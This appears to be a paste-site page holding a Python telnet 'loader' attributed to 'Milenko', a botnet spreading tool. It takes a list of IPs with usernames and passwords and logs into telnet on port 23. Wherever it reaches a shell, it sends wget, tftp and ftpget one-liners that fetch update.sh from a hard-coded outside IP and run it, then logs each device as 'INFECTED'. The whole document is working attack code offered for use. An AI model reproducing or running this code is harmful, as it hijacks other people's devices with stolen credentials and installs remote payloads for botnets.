KekSec icon

Untitled

KekSec | PRO | 08/05/18 09:09:57 AM UTC | 0 ⭐ | 1310 👁️ | Never ⏰ | []
text |

5.69 KB

|

None

|

0 👍

/

0 👎

#!/usr/bin/python
#Phaaaat hax telnet loader by Milenko
 import sys, re, os, socket, time, select
from threading import Thread
from time import sleep
 if len(sys.argv) < 2:
    sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
 wget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.196/update.sh -O update.sh; busybox wget http://185.10.68.196/update.sh -O update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #wget command to send
tftp = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r update.sh -g 185.10.68.196; busybox tftp -r update.sh -g 185.10.68.196; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #tftp command to send
ftpget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh"
 print "\033[31m"
 print "S-S-SUUUPER fast telnet loader by Milenko"
print
#simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3
print "Reads ip:port user:pass and simply checks the IP for port 23."
print "Then sends the infect to it and saves the working telnets to \"working.txt\""
print "It is VERY fast and extremely efficient."
print "As it splits the file into equal chunks for each thread!"
 threads = int(raw_input("Threads: "))
 lines = open(sys.argv[1],"r").readlines()
 global fh
fh = open("workingtelnet.txt","a+")
 def chunkify(lst,n):
    return [ lst[i::n] for i in xrange(n) ]
 running = 0
 global loaded
loaded = 0
global rekt
rekt = []
 def printStatus():
    global loaded
    while 1:
        sleep(30)
        print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"
        if loaded >= 1000:
            print "Dayum u got sum phat hax brah :^}"
  def readUntil(tn, advances, timeout=8):
    buf = ''
    start_time = time.time()
    while time.time() - start_time < timeout:
        buf += tn.recv(1024)
        time.sleep(0.1)
        for advance in advances:
            if advance in buf: return buf
    return ""
 def recvTimeout(sock, size, timeout=8):
    sock.setblocking(0)
    ready = select.select([sock], [], [], timeout)
    if ready[0]:
        data = sock.recv(size)
        return data
    return ""
 def contains(data, array):
    for test in array:
        if test in data:
            return True
    return False
 def infect(ip,username,password):
    global rekdevice
    global rekt
    global loaded
    global fh
    try:
        tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tn.settimeout(1)
        tn.connect((ip, 23))
        hoho = ''
        hoho += readUntil(tn, ":")
        if ":" in hoho:
            tn.send(username + "\r\n")
            time.sleep(0.2)
        else:
            return
        hoho = ''
        hoho += readUntil(tn, ":")
        if ":" in hoho:
            tn.send(password + "\r\n")
            time.sleep(0.2)
        prompt = ''
        prompt += recvTimeout(tn, 40960)
        if "#" in prompt or "$" in prompt or "~" in prompt or ">" in prompt or "root@" in prompt:
            try:
                tn.send("ls /\r\n")
                time.sleep(1)
                timeout = 8
                buf = ''
                start_time = time.time()
                while time.time() - start_time < timeout:
                    buf += recvTimeout(tn, 40960)
                    time.sleep(0.1)
                    if "tmp" in buf and "unrecognized" not in buf:
                        tn.send(wget + "\r\n")
                        time.sleep(8)
                        tn.send(tftp + "\r\n")
                        time.sleep(8)
                        tn.send(ftpget + "\r\n")
                        time.sleep(8)
                        print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, ip)
                        tn.close()
                        return
            except:
                tn.close()
        else:
            #auth failed
            tn.close()
    except Exception as e:
        tn.close()
 def check(chunk, fh):
    global running
    global rekt
    running += 1
    threadID = running
    for login in chunk:
        try:
            if login.split(":")[0] in rekt:
                continue
            if ":23 " in login:
                login = login.replace(":23 ", ":")
            if ":2323 " in login:
                login = login.replace(":2323 ", ":")
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(0.5)
            s.connect((login.split(":")[0], 23))
            s.close()
            infect(login.split(":")[0], login.split(":")[1], login.split(":")[2])
        except:
            pass
    print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded)
    running -= 1
 lines = map(lambda s: s.strip(), lines) # remove all newlines
 chunks = chunkify(lines, threads) # make seperate chunk for each thread
 print "STARTING SCAN AND LOAD!!!"
 Thread(target = printStatus, args = ()).start()
 for thread in xrange(0,threads):
    if thread >= 384:
        sleep(0.2)
    try:
        Thread(target = check, args = (chunks[thread], fh,)).start()
    except:
        pass
print "Scanning... Press enter 3 times to stop."
 for i in range(0,3):
    raw_input()
 fh.close()
 os.kill(os.getpid(), 9)

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎